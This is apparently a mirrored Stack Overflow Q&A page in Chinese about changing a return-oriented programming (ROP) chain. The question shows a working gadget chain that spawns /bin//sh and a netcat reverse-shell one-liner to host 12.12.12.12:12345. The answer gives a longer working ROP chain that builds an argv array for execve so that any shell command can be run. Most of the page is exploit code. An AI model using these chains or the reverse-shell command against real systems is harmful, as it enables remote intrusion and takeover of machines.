【问题标题】:Modifying a ROP gadget修改 ROP 小工具
【发布时间】:2015-03-28 06:56:21
【问题描述】:

我有一个像这样的 ROP 小工具-

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

您一定猜到了,它只是生成了一个“/bin//sh”。我希望它生成一个远程 shell,其命令是:

rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc  12.12.12.12 12345 > /tmp/$$

谁能帮我创建一个小工具来执行远程shell。我试着看这个link,但看不懂。

【问题讨论】:

    标签: assembly network-security stack-smash


    【解决方案1】:

    问题是您的示例代码启动了/bin/sh,这是一个单一的命令,也没有参数。你想要做的是一个管道命令序列。如果你启动一个 shell 并将整个命令作为参数传递给-c,你可以执行它。因此,您真正需要的是/bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2&gt;&amp;1 | nc 12.12.12.12 12345 &gt; /tmp/$$'。这需要对您的序列进行重大修改,因为您必须构建一个参数数组。

    为了保持代码简短,让我们为/bin/sh -c "echo OK" 做一个示例。 execve 系统调用需要一个由NULL 终止的指针数组来指定参数。在原始版本中,这只是一个NULL 存储在.data + 8 中,并且这个地址被加载到ecx 中以供系统调用。数据布局如下:

    +0: '/bin'
    +4: '//sh'
    +8: NULL
    

    现在,我们需要添加:

    +12: argv[0] = "/bin//sh"
    +16: argv[1] = "-c"
    +20: argv[2] = "echo OK"
    +24: argv[3] = NULL
    +28: "-c"
    +32: 'echo'
    +36: " OK"
    

    请记住,argv[0] 按照惯例用于程序名称。此外,我们需要在ecx 中传递.data+12 以进行系统调用。

    整个事情可能看起来像:

    p = ""
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0064) # @ .data + 4
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0068) # @ .data + 8
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # "-cXX" @ .data+28, the XX will be zeroed later
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e007c) # @ .data + 28
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '-cXX'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    # zero the XX now
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e007e) # @ .data + 30
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # build command line @.data+32
    # let's do "echo OK" as an example
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0080) # @ .data + 32
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += 'echo'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0084) # @ .data + 36
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += ' OK.'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    # zero terminator
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0087) # @ .data + 39
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # build the argument array @.data+12
    # pointer to "//bin/sh" (program name)
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e006c) # @ .data + 12
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # pointer to "-c"
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0070) # @ .data + 16
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e007c) # @ .data + 28
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # pointer to command
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0074) # @ .data + 20
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e0080) # @ .data + 32
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # NULL
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0078) # @ .data + 24
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    p += pack('<I', 0x080481f1) # pop ebx ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x0819d91d) # pop ecx ; ret
    p += pack('<I', 0x081e006c) # @ .data + 12 (argument array)
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0068) # @ .data + 8
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x0805726e) # int 0x80
    

    要构建您的命令,您只需将命令拆分为 4 个字节的块,并根据需要多次重复相应的 ROP 块。最后记得归零。 HTH。

    【讨论】:

    • 感谢您的回答,我了解该技术,但是是否有自动生成此小工具的方法,或者我需要手动进行更改以获取 /bin/sh -c rm -f /tmp /$$; mkfifo /tmp/$$ ;猫 /tmp/$$ | /bin/sh -i 2>&1 |数控本地主机 12345
    • 当然你可以自动化它,如果你擅长 python 脚本:)
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2010-09-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-07-30
    相关资源
    最近更新 更多